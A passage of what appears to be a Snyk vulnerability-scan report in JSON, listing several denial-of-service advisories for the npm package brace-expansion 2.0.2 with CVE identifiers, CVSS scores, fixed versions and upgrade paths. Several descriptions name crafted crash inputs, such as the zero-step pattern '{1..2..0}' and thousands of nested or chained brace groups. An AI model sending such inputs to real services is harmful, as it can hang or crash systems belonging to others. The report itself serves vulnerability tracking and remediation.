"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
